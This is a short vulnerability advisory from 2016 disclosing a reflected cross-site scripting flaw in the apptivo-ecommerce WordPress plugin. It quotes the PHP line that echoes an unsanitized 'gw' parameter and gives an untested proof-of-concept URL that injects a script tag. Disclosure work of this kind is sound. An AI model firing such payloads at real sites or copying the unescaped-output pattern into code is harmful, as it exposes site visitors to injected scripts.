Advisory #: 160
Title: Reflected XSS in wordpress plugin apptivo-ecommerce v1.1.5
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/apptivo-ecommerce
Downloads: 3430
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: apptivo-ecommerce
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./apptivo-ecommerce/templates/checkout/checkoutform.php: 14: <input type="hidden" name="pg_method" id="pg_method" value="<?php echo $_GET['gw']; ?>" /> The variable gw appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./apptivo-ecommerce/templates/checkout/checkoutform.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/apptivo-ecommerce/templates/checkout/checkoutform.php?gw="><script>alert(1);</script><"